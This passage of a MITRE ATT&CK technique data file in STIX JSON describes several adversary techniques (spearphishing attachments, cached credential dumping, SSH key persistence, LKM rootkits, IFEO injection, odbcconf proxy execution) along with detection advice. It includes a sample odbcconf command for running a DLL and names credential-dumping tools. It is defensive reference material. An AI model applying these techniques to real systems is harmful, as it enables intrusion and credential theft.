system","Anti-virus"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1193","external_id":"T1193"},{"external_id":"CAPEC-163","source_name":"capec","url":"https://capec.mitre.org/data/definitions/163.html"}],"modified":"2020-03-02T19:08:17.884Z","name":"Spearphishing Attachment","description":"Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ed Williams, Trustwave, SpiderLabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","type":"attack-pattern","created":"2020-02-21T15:42:25.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1003.005","url":"https://attack.mitre.org/techniques/T1003/005"},{"source_name":"Microsoft - Cached Creds","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)","description":"Microsfot. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020."},{"source_name":"PassLib mscache","url":"https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html","description":"Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020."},{"source_name":"ired mscache","url":"https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials","description":"Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020."},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"}],"modified":"2020-03-24T20:41:08.996Z","name":"Cached Domain Credentials","description":"Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution"],"x_mitre_permissions_required":["SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tony Lambert, Red Canary","Dror Alon, Palo Alto Networks","Or Kliger, Palo Alto Networks"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","created":"2020-06-24T12:42:35.144Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1098.004","url":"https://attack.mitre.org/techniques/T1098/004"},{"source_name":"Venafi SSH Key Abuse","url":"https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities","description":"Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020."},{"source_name":"Google Cloud Privilege Escalation","url":"https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/","description":"Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022."},{"source_name":"Cybereason Linux Exim Worm","url":"https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability","description":"Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020."},{"source_name":"Google Cloud Add Metadata","url":"https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata","description":"Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022."},{"source_name":"Azure Update Virtual Machines","url":"https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update","description":"Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022."},{"source_name":"SSH Authorized Keys","url":"https://www.ssh.com/ssh/authorized_keys/","description":"ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. ","modified":"2022-04-20T16:26:57.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"SSH Authorized Keys","x_mitre_detection":"Use file integrity monitoring to detect changes made to the <code>authorized_keys</code> file for each user on a system. Monitor for suspicious processes modifying the <code>authorized_keys</code> file. In cloud environments, monitor instances for modification of metadata and configurations.\n\nMonitor for changes to and suspicious processes modifiying <code>/etc/ssh/sshd_config</code>.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Modification","Process: Process Creation","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jeremy Galloway","Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1215","url":"https://attack.mitre.org/techniques/T1215"},{"source_name":"Linux Kernel Programming","url":"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf","description":"Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."},{"url":"http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html","description":"Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.","source_name":"Linux Kernel Module Programming Guide"},{"url":"https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html","description":"Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.","source_name":"Volatility Phalanx2"},{"url":"https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/","description":"Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.","source_name":"CrowdStrike Linux Rootkit"},{"url":"https://github.com/f0rb1dd3n/Reptile","description":"Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.","source_name":"GitHub Reptile"},{"url":"https://github.com/m0nad/Diamorphine","description":"Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.","source_name":"GitHub Diamorphine"},{"url":"http://www.megasecurity.org/papers/Rootkits.pdf","description":"Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.","source_name":"iDefense Rootkit Overview"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.","source_name":"RSAC 2015 San Francisco Patrick Wardle"},{"url":"https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/","description":"Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018.","source_name":"Synack Secure Kernel Extension Broken"},{"url":"https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/","description":"Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.","source_name":"Securelist Ventir"},{"url":"https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux","description":"Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.","source_name":"Wikipedia Loadable Kernel Module"},{"url":"http://tldp.org/HOWTO/Module-HOWTO/x197.html","description":"Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.","source_name":"Linux Loadable Kernel Module Insert and Remove LKMs"}],"modified":"2021-03-30T00:59:53.427Z","name":"Kernel Modules and Extensions","description":"Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)","kill_chain_phases":[{"phase_name":"persistence","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly. \nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code>\n\nOn RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe insmod lsmod rmmod modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446","type":"attack-pattern","created":"2017-05-31T21:31:13.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1101","url":"https://attack.mitre.org/techniques/T1101"},{"url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","source_name":"Graeber 2014"},{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","source_name":"Microsoft Configure LSA"}],"modified":"2020-01-24T17:35:47.598Z","name":"Security Support Provider","description":"Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413","type":"attack-pattern","created":"2020-10-02T16:01:35.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590.006","url":"https://attack.mitre.org/techniques/T1590/006"},{"source_name":"Nmap Firewalls NIDS","url":"https://nmap.org/book/firewalls.html","description":"Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:31:54.275Z","name":"Network Security Appliances","description":"Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oddvar Moe, @oddvarmoe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6","type":"attack-pattern","created":"2020-01-24T15:05:58.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.012","url":"https://attack.mitre.org/techniques/T1546/012"},{"url":"https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/","description":"Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.","source_name":"Microsoft Dev Blog IFEO Mar 2010"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview","description":"Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.","source_name":"Microsoft GFlags Mar 2017"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit","description":"Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.","source_name":"Microsoft Silent Process Exit NOV 2017"},{"url":"https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/","description":"Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.","source_name":"Oddvar Moe IFEO APR 2018"},{"url":"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/","description":"Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.","source_name":"Tilbury 2014"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml","description":"FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.","source_name":"FSecure Hupigon"},{"url":"https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2","description":"Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.","source_name":"Symantec Ushedix June 2008"}],"modified":"2020-11-10T18:29:31.112Z","name":"Image File Execution Options Injection","description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071","type":"attack-pattern","created":"2020-01-24T15:01:32.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.008","url":"https://attack.mitre.org/techniques/T1218/008"},{"source_name":"Microsoft odbcconf.exe","url":"https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017","description":"Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019."},{"source_name":"LOLBAS Odbcconf","url":"https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/","description":"LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019."},{"source_name":"TrendMicro Squiblydoo Aug 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/","description":"Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019."},{"source_name":"TrendMicro Cobalt Group Nov 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/","description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019."}],"modified":"2022-03-11T18:52:49.877Z","name":"Odbcconf","description":"Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Module: Module Load"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968","type":"attack-pattern","created":"2020-10-02T16:50:12.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1593.002","url":"https://attack.mitre.org/techniques/T1593/002"},{"source_name":"SecurityTrails Google Hacking","url":"https://securitytrails.com/blog/google-hacking-techniques","description":"Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020."},{"source_name":"ExploitDB GoogleHacking","url":"https://www.exploit-db.com/google-hacking-database","description":"Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020."}],"modified":"2021-04-15T03:52:06.960Z","name":"Search Engines","description":"Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized 